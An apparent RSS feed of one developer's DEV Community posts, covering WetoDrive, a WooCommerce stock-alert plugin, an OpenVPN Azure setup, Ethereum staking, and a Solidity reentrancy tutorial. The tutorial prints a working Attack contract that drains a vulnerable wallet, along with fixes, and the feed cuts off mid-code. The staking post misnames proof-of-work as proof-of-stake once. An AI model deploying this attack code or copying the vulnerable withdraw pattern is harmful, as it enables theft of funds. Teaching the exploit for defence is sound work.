<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Michael Etokakpan</title>
    <description>The latest articles on DEV Community by Michael Etokakpan (@imohgenius).</description>
    <link>https://dev.to/imohgenius</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F630669%2F74bb91a6-e36e-4cb3-9ac0-2a0401dc0401.png</url>
      <title>DEV Community: Michael Etokakpan</title>
      <link>https://dev.to/imohgenius</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/imohgenius"/>
    <language>en</language>
    <item>
      <title>Save WeTransfer Files Directly to Google Drive: No Downloads, No Fuss</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Mon, 24 Nov 2025 11:30:25 +0000</pubDate>
      <link>https://dev.to/imohgenius/save-wetransfer-files-directly-to-google-drive-no-downloads-no-fuss-5f06</link>
      <guid>https://dev.to/imohgenius/save-wetransfer-files-directly-to-google-drive-no-downloads-no-fuss-5f06</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff30798ev5i8lws4q6ie8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff30798ev5i8lws4q6ie8.png" alt=" " width="800" height="482"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;
&lt;h3&gt;Introduction&lt;/h3&gt;
&lt;p&gt;If you’re tired of downloading WeTransfer files to your computer and then re-uploading them to Google Drive, &lt;a href="https://wetodrive.com/" rel="noopener noreferrer"&gt;&lt;strong&gt;WetoDrive&lt;/strong&gt;&lt;/a&gt; is the solution you need. With WetoDrive, you can &lt;strong&gt;stream files from WeTransfer straight into Google Drive&lt;/strong&gt;, saving time, bandwidth, and local storage.&lt;/p&gt;
&lt;p&gt;In this post, we’ll explain exactly how it works, how much it costs, and why it’s a smarter way to manage WeTransfer files permanently.&lt;/p&gt;
&lt;h3&gt;Why Use WetoDrive for WeTransfer to Google Drive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No device storage used&lt;/strong&gt;; Files are streamed directly from WeTransfer into your Google Drive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Permanent storage;&lt;/strong&gt; Unlike WeTransfer links that expire, your files live in Google Drive until you remove them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secure and fast;&lt;/strong&gt; Uses Google’s infrastructure, and you don’t need to manually download and upload files.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flexible pricing&lt;/strong&gt;; Includes a free plan plus paid options depending on your usage.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;WetoDrive Pricing (2025)&lt;/h3&gt;
&lt;p&gt;Here’s WetoDrive’s current pricing, based on their official pricing page:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Plan&lt;/strong&gt; — &lt;strong&gt;Price — What You Get&lt;/strong&gt; &lt;br&gt;&lt;strong&gt;Free&lt;/strong&gt; $0 / month • 5 transfers per month• 100 MB file-size limit• Basic transfer speed• Community support&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pro&lt;/strong&gt; $10 / month • 100 transfers per month• 2 GB file-size limit• Faster transfer speeds• Email support• Transfer history for 30 days&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Premium&lt;/strong&gt; $80 / month • Unlimited transfers• 5 GB file-size limit• Priority transfer queue• Bulk transfer support• API access• Priority support• Advanced analytics• Transfer history forever&lt;/p&gt;
&lt;h3&gt;How WetoDrive Works: Step-by-Step&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Connect Your Google Drive&lt;br&gt;&lt;/strong&gt; Log in with Google to give WetoDrive access to your Drive (just the permissions needed to create files).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Paste the WeTransfer Link&lt;br&gt;&lt;/strong&gt; Copy the WeTransfer URL you received and paste it into WetoDrive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stream &amp;amp; Save&lt;br&gt;&lt;/strong&gt; The file streams directly into your Google Drive, no local downloads required.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Organize in Drive&lt;br&gt;&lt;/strong&gt; You can choose which folder in Drive to save into, making your workflow cleaner.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;WeTransfer Pricing &amp;amp; Free Plan (2025)&lt;/h3&gt;
&lt;p&gt;To put things in perspective, here’s a quick look at &lt;strong&gt;WeTransfer’s own pricing&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WeTransfer Free&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;$0/month.&lt;/li&gt;
&lt;li&gt;Transfer up to &lt;strong&gt;2 GB&lt;/strong&gt; per link.&lt;/li&gt;
&lt;li&gt;Files expire after &lt;strong&gt;7 days&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WeTransfer Pro&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;$12/month or $120/year (according to WetoDrive’s breakdown).&lt;/li&gt;
&lt;li&gt;Files up to &lt;strong&gt;20 GB&lt;/strong&gt; per transfer.&lt;/li&gt;
&lt;li&gt;Storage duration up to &lt;strong&gt;28 days&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Why WetoDrive Is a Better Option (in Many Cases)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;If you’re already using WeTransfer (free or Pro) to receive files, &lt;strong&gt;WetoDrive helps you save them permanently to Drive&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Instead of paying for WeTransfer storage (or worrying about link expiry), you use your Google Drive space.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Free plan&lt;/strong&gt; from WetoDrive is great to start — 5 transfers/month might be more than enough for light users.&lt;/li&gt;
&lt;li&gt;For power users or businesses, the &lt;strong&gt;Pro or Premium plans&lt;/strong&gt; give you higher limits, more speed, and features like bulk transfer + API.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Use Cases: Who Should Use WetoDrive&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Freelancers &amp;amp; creatives&lt;/strong&gt; who receive large media files via WeTransfer&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remote teams&lt;/strong&gt; that want to collaborate on shared files inside Google Drive&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Students &amp;amp; educators&lt;/strong&gt; sharing assignments, presentations, or lectures&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Professionals&lt;/strong&gt; who want a permanent archive of important WeTransfer files&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;FAQs&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Q: Is there a free option for using WetoDrive?&lt;br&gt;&lt;/strong&gt; A: Yes — WetoDrive offers a free plan: 5 transfers/month, 100MB file limit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: How big can my files be with WetoDrive Pro?&lt;br&gt;&lt;/strong&gt; A: Up to &lt;strong&gt;2 GB&lt;/strong&gt; per transfer on the Pro plan.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: What about WetoDrive Premium?&lt;br&gt;&lt;/strong&gt; A: Premium supports unlimited transfers, up to &lt;strong&gt;5 GB&lt;/strong&gt; per file, and adds priority queue, API, bulk, and more.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: Will my Google Drive storage fill up?&lt;br&gt;&lt;/strong&gt; A: Yes — when files are transferred, they live in your Google Drive, so they count against your Drive quota.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: Is it safe?&lt;br&gt;&lt;/strong&gt; A: WetoDrive uses secure Google OAuth and only stores tokens. Temporary file data is processed securely during transfer.&lt;/p&gt;
&lt;p&gt;Ready to simplify your WeTransfer workflow? &lt;strong&gt;Try &lt;/strong&gt;&lt;a href="https://wetodrive.com/" rel="noopener noreferrer"&gt;&lt;strong&gt;WetoDrive&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; Free&lt;/strong&gt; today and start saving WeTransfer files directly into Google Drive, no downloads, no wasted time.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>How I Stopped Manually Checking WooCommerce Stock Levels (and Finally Slept Better)</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Thu, 02 Oct 2025 14:19:56 +0000</pubDate>
      <link>https://dev.to/imohgenius/how-i-stopped-manually-checking-woocommerce-stock-levels-and-finally-slept-better-651</link>
      <guid>https://dev.to/imohgenius/how-i-stopped-manually-checking-woocommerce-stock-levels-and-finally-slept-better-651</guid>
      <description>&lt;p&gt;If you run a WooCommerce store, you’ve probably been hit with this message at least once:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“Hey, I tried ordering this but it’s out of stock — when will it be back?”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You scramble to check inventory.&lt;/p&gt;

&lt;p&gt;And then comes the painful realization:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your bestselling product has been sold out for days… and you didn’t even notice.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WooCommerce is great at selling — but terrible at &lt;em&gt;alerting&lt;/em&gt;. There's no automatic &lt;strong&gt;“hey, your moneymaker just ran out of stock”&lt;/strong&gt; notification unless you set it up yourself.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Two Things I Wanted
&lt;/h2&gt;

&lt;p&gt;Instead of babysitting my product list, I just wanted:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;Automatic alerts when a product runs out of stock&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;A way for customers to subscribe and get notified when it’s back&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Not another bloated inventory suite. Just &lt;em&gt;common sense notifications.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Solution: &lt;a href="https://michaeltech.xyz/product/stockpulse-for-woocommerce/" rel="noopener noreferrer"&gt;StockPulse for WooCommerce&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;I found &lt;strong&gt;StockPulse for WooCommerce&lt;/strong&gt;, and what sold me wasn’t a massive feature list — it was &lt;em&gt;focus&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;📉 When a product goes out of stock → &lt;strong&gt;Admin gets notified&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;✉️ When a customer finds something unavailable → &lt;strong&gt;They can subscribe for a back-in-stock alert&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Install → customize email template → done. No extra dashboards or syncing madness.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why It Works
&lt;/h2&gt;

&lt;p&gt;Most small and mid-size WooCommerce stores don’t need AI-powered forecasting or ERP-level supply syncing — they just need &lt;strong&gt;visibility&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;StockPulse for WooCommerce&lt;/strong&gt; fills that gap between &lt;em&gt;“sold out”&lt;/em&gt; and &lt;em&gt;“found out too late.”&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;If you’re still &lt;strong&gt;discovering stockouts by accident&lt;/strong&gt;, do yourself a favor:&lt;/p&gt;

&lt;p&gt;👉 Try StockPulse for WooCommerce → &lt;a href="https://michaeltech.xyz/product/stockpulse-for-woocommerce/" rel="noopener noreferrer"&gt;https://michaeltech.xyz/product/stockpulse-for-woocommerce/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Not sponsored. Just finally sleeping better.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you built your own stock alert hack? Or found another plugin that does it differently? Curious to hear how others are solving this one.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>woocommerce</category>
      <category>wordpress</category>
      <category>opensource</category>
      <category>programming</category>
    </item>
    <item>
      <title>How to create your private VPN on the cloud</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Wed, 20 Sep 2023 10:09:26 +0000</pubDate>
      <link>https://dev.to/imohgenius/how-to-create-your-private-vpn-on-the-cloud-46oo</link>
      <guid>https://dev.to/imohgenius/how-to-create-your-private-vpn-on-the-cloud-46oo</guid>
      <description>&lt;h3&gt;
  
  
  Background
&lt;/h3&gt;

&lt;p&gt;As the world around us gets more and more intertwined with the World Wide Web, the need to secure our Internet experience has never been more important than ever. With the rise of IOT (Internet of Things), we are seeing an increasingly digitalized world where almost everything has to be connected to the Internet to perform basic functions. The way the internet works, when we connect to the internet our ISPs(Internet Service Providers) allocate what is known as an IP address, an IP address can be easily described as an address used to identify a device on the internet, similar to the home address of an individual, which a postman uses to determine where specific letters (in digital terms packets of data) are eventually directed and sent to.&lt;/p&gt;

&lt;p&gt;The major problem with surfing on the internet is that many times our browsing activities and transactions can be easily accessed and manipulated by malicious actors and hackers, this is where a VPN comes in, a VPN stands for Virtual Private Network it is used to encrypt and anonymize our activities on the web. , many users and organizations use it to secure their online activities that could be easily subjected to a cyberattack, many also use it to escape the limitation of location-based IP restrictions. VPN services are in quite demand, I will do a walkthrough on how we can easily build our own custom VPN server with the help of an opensource tool(OpenVPN) and using a cloud platform&lt;/p&gt;

&lt;p&gt;We can create a server on any of the popular cloud platforms, most of these platforms offer basic free credits for the first few months of usage, I will demonstrate with the Azure cloud platform but it is basically the same step on other cloud platforms, we will create a compute instance where the OpenVPN tool is preinstalled using the OpenVPN Access Server, the tool has a free tier that allows for two VPN connections it can be easily accessed from the marketplace of any of the cloud platforms, a simple instance without much computing power will do the job.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup Guide
&lt;/h3&gt;

&lt;p&gt;From the Azure portal, search for '&lt;em&gt;Marketplace&lt;/em&gt;', after navigating to Azure MarketPlace, search for OpenVPN, you will see the OpenVPN Access Server service&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--euUD9nDx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695124013953/4d6548fe-af95-4ff9-9344-412a66d30020.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--euUD9nDx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695124013953/4d6548fe-af95-4ff9-9344-412a66d30020.png" alt="" width="800" height="642"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When the service has been selected, create an administrator username and password for the instance. you can leave most of the default settings the same, with Azure there is an option to enable auto shutdown keep that off to enable our VPN to be always available.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iKn_qdsi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695124265906/a94bd4d1-1f0f-450e-97cc-46145ed849c5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iKn_qdsi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695124265906/a94bd4d1-1f0f-450e-97cc-46145ed849c5.png" alt="" width="800" height="684"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once the instance has been created copy the public IP address it will be used to configure the OpenVPN server, after this is done SSH into the compute instance with your details.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; ssh openvpn@192.174.232.165

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read and accept the OpenVPN agreement and allow the default settings to be used, you can choose when you come to this option to create a different admin profile.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rPJnRBkM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695127225640/ade002fa-0b6e-4e32-b3cd-aec7331ac73a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rPJnRBkM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695127225640/ade002fa-0b6e-4e32-b3cd-aec7331ac73a.png" alt="" width="403" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When this is all done, log into the OpenVPN Server admin section with your public IP address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--SnloTp3o--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695127461656/c6e05527-1f6f-4b30-8e4e-620d84bac8fa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SnloTp3o--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695127461656/c6e05527-1f6f-4b30-8e4e-620d84bac8fa.png" alt="" width="800" height="130"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When inside, change the hostname to reflect your public IP address and save the settings. This is crucial to the VPN functionality as it should not be connected to a different IP address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--muXOiAKq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695143536501/8273e3f2-bc7e-4c40-8888-23f16f40d53b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--muXOiAKq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695143536501/8273e3f2-bc7e-4c40-8888-23f16f40d53b.png" alt="" width="637" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After this is done, download the client software on your system or device and download your VPN user profile which will configure the client profile.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---dq_vTEt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695133917302/4877e97b-47cb-43f6-8f80-f371bc80c35d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---dq_vTEt--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695133917302/4877e97b-47cb-43f6-8f80-f371bc80c35d.png" alt="" width="338" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Po25ZDVT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695134403383/b58dfa37-769c-4e11-a712-7bc7ac7e9561.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Po25ZDVT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695134403383/b58dfa37-769c-4e11-a712-7bc7ac7e9561.png" alt="" width="275" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Input your password and connect to the VPN&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--aLPWR8j2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695134485297/ef399c1e-55d5-445b-8f9d-4645345ac6f0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--aLPWR8j2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695134485297/ef399c1e-55d5-445b-8f9d-4645345ac6f0.png" alt="" width="268" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You should be able to connect to the internet with the VPN server, now if you check your IP it should be the same as the one on your VPN profile.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9XRqJn5S--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695136887592/b9b1ea05-6e82-4a52-8072-2d82db62f2b4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9XRqJn5S--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn.hashnode.com/res/hashnode/image/upload/v1695136887592/b9b1ea05-6e82-4a52-8072-2d82db62f2b4.png" alt="" width="800" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Awesome! Your VPN is now up and running! This can also be further configured to fit your custom needs and requirements. Let me know in the comment section if you have any feedback or ideas about it.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Understanding How Staking works on Ethereum</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Tue, 23 May 2023 11:28:22 +0000</pubDate>
      <link>https://dev.to/imohgenius/understanding-how-staking-works-on-ethereum-1o5k</link>
      <guid>https://dev.to/imohgenius/understanding-how-staking-works-on-ethereum-1o5k</guid>
      <description>&lt;p&gt;One of the key components of a blockchain is the ability to carry out a trustless consensus mechanism to verify transactions, the traditional means of validating transactions has been the Proof-Of-Stake mechanism which requires that for every transaction to be validated a certain complex cryptographical puzzle needs to be solved before that block of transaction can be added to the main chain. To solve the cryptographical puzzle, highly energy-intensive hardware which is specially designed for this work has to be put to use, afterwards the 'miner' as they are commonly called, will then be rewarded by the network with a token for the role he has performed. Due to the high rate of power consumption that such systems involve there have been pushes to move to a much more climate-friendly validation method, recently the Ethereum blockchain moved from a POW(Proof-Of-Work) consensus to a POS(Proof-Of-Stake) in what has now been called &lt;a href="https://ethereum.org/en/roadmap/merge/"&gt;The Merge&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The role of the miners is replaced with network validators, in other to be a validator you have to lock up 32 ETH in the network, the valdators are then randomly selected to start new blocks and verify transactions , if a validator is found liable of sabotage or collusion he loses a part of or all ofh is staked tokens in a process called slashing and for every successful validation he is rewarded accordingly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Types of Staking
&lt;/h3&gt;

&lt;p&gt;Here are some of the different types of staking being done at the moment;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solo Home staking&lt;/strong&gt; :This is the most decentralized form of staking, you operate your own Ethereum node by providing your hardware and operating the necessary software for the validation services on the blockchain, apart from providing the compulsory 32 ETH this requires a dedicated computer and a sound understanding of how the network works.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Staking as a service&lt;/strong&gt; : In the case where not everyone has the necessary technical knowhow or the hardware requirements all they have to do is to signup with a staking provider service and deposit the 32 ETH, the provider will then carry out the uses validators duties on their behalf usually at a particular fee.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pooled Staking&lt;/strong&gt; : Many might not be able to provide up to 32 ETH to establish a single validator node, there are services that allow users to contribute their deposits and manage them on their behalf. Other forms of this also include staking with popular centralized exchanges like Binanace, Coinbase, etc.&lt;/p&gt;

&lt;p&gt;Since the &lt;a href="https://www.forbes.com/advisor/investing/cryptocurrency/ethereum-shanghai-upgrade/#:~:text=What%20Is%20the%20Shanghai%20Upgrade,compatible%20with%20the%20upgraded%20version."&gt;Shanghai upgrade&lt;/a&gt; which allows for stakes to now be withdrawn, we have seen an increase in deposits for staking on Ethereum, this shows that there is an increased interest by users in staking and its earning potential. With the rise of staking pools which now account for a third of the total stakes on Ethereum, many fear the potential risk this poses by increasingly centralizing the network, one thing is for sure many people are beginning to see the intrinsic value that this technology has and desire to play a vital role in its future.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Reentrancy Attack in Solidity</title>
      <dc:creator>Michael Etokakpan</dc:creator>
      <pubDate>Thu, 30 Mar 2023 15:58:38 +0000</pubDate>
      <link>https://dev.to/imohgenius/reentrancy-attack-in-solidity-l3j</link>
      <guid>https://dev.to/imohgenius/reentrancy-attack-in-solidity-l3j</guid>
      <description>&lt;p&gt;With the rise of web3, we have seen financial solutions taking advantage of the blockchain to deliver innovative products and services, this has also brought about an accompanying rise of malicious actors and hackers seeking to find exploits in several of such systems. In recent times there have been a lot of reports of cryptocurrency hacks causing losses of funds sometimes running into millions of dollars, it will be paramount for a developer to have a proper understanding of these exploits and how to secure their applications. One of the most common hacks is called the Reentracy hack attack, this attack is an exploit that uses a recursive call to a funded Smart contract to illegally withdraw tokens from it.&lt;/p&gt;

&lt;p&gt;The following code example is a classic case of a Reentracy attack&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract EtherWallet {
    mapping(address =&amp;gt; uint) public balances; // user's balances

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal &amp;gt; 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherWallet public etherWallet;

    constructor(address _etherWalletAddress) {
        etherWallet = EtherWallet(_etherWalletAddress);
    }

    // Fallback is called when EtherWallet sends Ether to this contract.
    fallback() external payable {
        if (address(etherWallet).balance &amp;gt;= 1 ether) {
            etherWallet.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value &amp;gt;= 1 ether);
        etherWallet.deposit{value: 1 ether}();
        etherWallet.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are two contracts in the above example the first one &lt;em&gt;etherWallet,&lt;/em&gt; acts as a simple bank where users can deposit and withdraw their ethers. The second contract &lt;em&gt;Attack&lt;/em&gt; is initialized with the &lt;em&gt;etherWallet&lt;/em&gt; contract address, it has an &lt;em&gt;attack&lt;/em&gt; function that when called, first invokes the &lt;em&gt;etherWallet.deposit&lt;/em&gt; function to deposit 1 &lt;em&gt;ether&lt;/em&gt;, it then moves to run &lt;em&gt;etherWallet.withdraw&lt;/em&gt; function, which sends the 1 ether back to the &lt;em&gt;Attack&lt;/em&gt; address,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function attack() external payable {
        require(msg.value &amp;gt;= 1 ether);
        etherWallet.deposit{value: 1 ether}();
        etherWallet.withdraw();
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the function that receives the withdrawal is the &lt;em&gt;fallback&lt;/em&gt; function which has another &lt;em&gt;etherWallet.withdraw&lt;/em&gt; function within it, since the &lt;em&gt;etherWallet&lt;/em&gt; contract hasn't updated the user balance for the &lt;em&gt;Attack&lt;/em&gt; contract, it stills reads its balance as having 1 ether, this continues as a recursive loop until the &lt;em&gt;etherWallet&lt;/em&gt; balance is completely drained.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fallback() external payable {
        if (address(etherWallet).balance &amp;gt;= 1 ether) {
            etherWallet.withdraw();
        }
    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Stopping the Hack
&lt;/h3&gt;

&lt;p&gt;A simple way of solving this will be to make sure the &lt;em&gt;withdraw&lt;/em&gt; function updates the user's balance before sending the funds&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal &amp;gt; 0);
        balances[msg.sender] = 0; //Updated balance before sending
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

    }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another way is creating a function modifier that locks the withdrawal function when it is still being called and doesn't allow a concurrent call on it&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
